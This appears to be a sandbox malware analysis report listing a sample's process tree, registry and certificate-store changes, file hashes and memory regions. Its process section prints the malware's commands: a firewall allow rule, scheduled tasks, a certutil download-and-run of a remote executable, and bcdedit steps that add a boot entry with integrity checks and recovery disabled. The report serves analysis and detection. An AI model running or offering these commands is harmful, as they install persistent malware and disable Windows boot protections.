c46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b80f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a441400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a319000000010000001000000014c3bd3549ee225aece13734ad8ca0b82000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exeff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.execsrss.exepid process 1264 ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe 360 ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe 1780 csrss.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 460 -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.execsrss.exedescription pid process Token: SeDebugPrivilege 1264 ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Token: SeImpersonatePrivilege 1264 ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Token: SeSystemEnvironmentPrivilege 1780 csrss.exe -
Suspicious use of WriteProcessMemory 58 IoCs
Processes:
ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.execmd.exepatch.execsrss.exedescription pid process target process PID 360 wrote to memory of 1300 360 ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe cmd.exe PID 360 wrote to memory of 1300 360 ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe cmd.exe PID 360 wrote to memory of 1300 360 ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe cmd.exe PID 360 wrote to memory of 1300 360 ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe cmd.exe PID 1300 wrote to memory of 1500 1300 cmd.exe netsh.exe PID 1300 wrote to memory of 1500 1300 cmd.exe netsh.exe PID 1300 wrote to memory of 1500 1300 cmd.exe netsh.exe PID 360 wrote to memory of 1780 360 ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe csrss.exe PID 360 wrote to memory of 1780 360 ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe csrss.exe PID 360 wrote to memory of 1780 360 ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe csrss.exe PID 360 wrote to memory of 1780 360 ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe csrss.exe PID 1656 wrote to memory of 1544 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 1544 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 1544 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 1180 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 1180 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 1180 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 1720 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 1720 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 1720 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 636 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 636 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 636 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 1816 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 1816 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 1816 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 2016 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 2016 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 2016 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 964 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 964 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 964 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 1632 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 1632 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 1632 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 608 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 608 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 608 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 268 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 268 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 268 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 940 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 940 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 940 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 1752 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 1752 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 1752 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 1868 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 1868 1656 patch.exe bcdedit.exe PID 1656 wrote to memory of 1868 1656 patch.exe bcdedit.exe PID 1780 wrote to memory of 1648 1780 csrss.exe bcdedit.exe PID 1780 wrote to memory of 1648 1780 csrss.exe bcdedit.exe PID 1780 wrote to memory of 1648 1780 csrss.exe bcdedit.exe PID 1780 wrote to memory of 1648 1780 csrss.exe bcdedit.exe PID 1780 wrote to memory of 1540 1780 csrss.exe dsefix.exe PID 1780 wrote to memory of 1540 1780 csrss.exe dsefix.exe PID 1780 wrote to memory of 1540 1780 csrss.exe dsefix.exe PID 1780 wrote to memory of 1540 1780 csrss.exe dsefix.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe"C:\Users\Admin\AppData\Local\Temp\ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1264 -
C:\Users\Admin\AppData\Local\Temp\ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe"C:\Users\Admin\AppData\Local\Temp\ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe"2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:360 -
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
PID:1300 -
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:1500 -
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1780 -
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
PID:1004 -
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
PID:1764 -
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1656 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER5⤵
- Modifies boot configuration data using bcdedit
PID:1544 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:5⤵
- Modifies boot configuration data using bcdedit
PID:1180 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:5⤵
- Modifies boot configuration data using bcdedit
PID:1720 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows5⤵
- Modifies boot configuration data using bcdedit
PID:636 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe5⤵
- Modifies boot configuration data using bcdedit
PID:1816 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe5⤵
- Modifies boot configuration data using bcdedit
PID:2016 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 05⤵
- Modifies boot configuration data using bcdedit
PID:964 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn5⤵
- Modifies boot configuration data using bcdedit
PID:1632 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 15⤵
- Modifies boot configuration data using bcdedit
PID:608 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}5⤵
- Modifies boot configuration data using bcdedit
PID:268 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast5⤵
- Modifies boot configuration data using bcdedit
PID:940 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -timeout 05⤵
- Modifies boot configuration data using bcdedit
PID:1752 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}5⤵
- Modifies boot configuration data using bcdedit
PID:1868 -
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
PID:1648 -
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeC:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe4⤵
- Executes dropped EXE
PID:1540
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20221125144617.log C:\Windows\Logs\CBS\CbsPersist_20221125144617.cab1⤵
- Drops file in Windows directory
PID:556
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeFilesize
94KB
MD5d98e78fd57db58a11f880b45bb659767
SHA1ab70c0d3bd9103c07632eeecee9f51d198ed0e76
SHA256414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
SHA512aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD501c38c2e5f0605d0d53c3555e751a746
SHA1eecf5f41a757fe19b0950eefa88ac8fa6012a83a
SHA256ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0
SHA5121ed25a20fec44438be6fb7d1181da964a3f2aa134406e0bbe5d37cbf84480f0d198b62b5eb1baed1b8c86dab407e4d895d46a914bcd9beba80f76737ab6badf8
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\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeFilesize
94KB
MD5d98e78fd57db58a11f880b45bb659767
SHA1ab70c0d3bd9103c07632eeecee9f51d198ed0e76
SHA256414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
SHA512aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllFilesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\symsrv.dllFilesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeFilesize
3.8MB
MD501c38c2e5f0605d0d53c3555e751a746
SHA1eecf5f41a757fe19b0950eefa88ac8fa6012a83a
SHA256ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0
SHA5121ed25a20fec44438be6fb7d1181da964a3f2aa134406e0bbe5d37cbf84480f0d198b62b5eb1baed1b8c86dab407e4d895d46a914bcd9beba80f76737ab6badf8
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\Windows\rss\csrss.exeFilesize
3.8MB
MD501c38c2e5f0605d0d53c3555e751a746
SHA1eecf5f41a757fe19b0950eefa88ac8fa6012a83a
SHA256ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0
SHA5121ed25a20fec44438be6fb7d1181da964a3f2aa134406e0bbe5d37cbf84480f0d198b62b5eb1baed1b8c86dab407e4d895d46a914bcd9beba80f76737ab6badf8
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memory/268-97-0x0000000000000000-mapping.dmp
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memory/360-60-0x0000000001020000-0x00000000013C8000-memory.dmpFilesize
3.7MB
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memory/360-70-0x0000000000400000-0x0000000000C50000-memory.dmpFilesize
8.3MB
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memory/360-64-0x0000000000400000-0x0000000000C50000-memory.dmpFilesize
8.3MB
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memory/360-69-0x0000000001020000-0x00000000013C8000-memory.dmpFilesize
3.7MB
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memory/360-59-0x0000000001020000-0x00000000013C8000-memory.dmpFilesize
3.7MB
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memory/608-96-0x0000000000000000-mapping.dmp
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memory/636-91-0x0000000000000000-mapping.dmp
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memory/940-98-0x0000000000000000-mapping.dmp
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memory/964-94-0x0000000000000000-mapping.dmp
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memory/1180-89-0x0000000000000000-mapping.dmp
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memory/1264-58-0x0000000000400000-0x0000000000C50000-memory.dmpFilesize
8.3MB
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memory/1264-54-0x0000000000DF0000-0x0000000001198000-memory.dmpFilesize
3.7MB
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memory/1264-55-0x0000000000DF0000-0x0000000001198000-memory.dmpFilesize
3.7MB
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memory/1264-56-0x00000000011A0000-0x00000000019A4000-memory.dmpFilesize
8.0MB
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memory/1264-57-0x0000000000400000-0x0000000000C50000-memory.dmpFilesize
8.3MB
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memory/1300-61-0x0000000000000000-mapping.dmp
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memory/1500-63-0x000007FEFB9E1000-0x000007FEFB9E3000-memory.dmpFilesize
8KB
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memory/1500-62-0x0000000000000000-mapping.dmp
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memory/1540-103-0x0000000000000000-mapping.dmp
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memory/1544-88-0x0000000000000000-mapping.dmp
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memory/1632-95-0x0000000000000000-mapping.dmp
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memory/1648-101-0x0000000000000000-mapping.dmp
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memory/1656-78-0x0000000140000000-0x00000001405E8000-memory.dmpFilesize
5.9MB
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memory/1656-82-0x0000000140000000-0x00000001405E8000-memory.dmpFilesize
5.9MB
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memory/1720-90-0x0000000000000000-mapping.dmp
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memory/1752-99-0x0000000000000000-mapping.dmp
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memory/1780-72-0x0000000000E30000-0x00000000011D8000-memory.dmpFilesize
3.7MB
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memory/1780-71-0x0000000000E30000-0x00000000011D8000-memory.dmpFilesize
3.7MB
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memory/1780-73-0x0000000000400000-0x0000000000C50000-memory.dmpFilesize
8.3MB
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memory/1780-67-0x0000000000000000-mapping.dmp
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memory/1780-84-0x0000000000400000-0x0000000000C50000-memory.dmpFilesize
8.3MB
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memory/1816-92-0x0000000000000000-mapping.dmp
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memory/1868-100-0x0000000000000000-mapping.dmp
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memory/2016-93-0x0000000000000000-mapping.dmp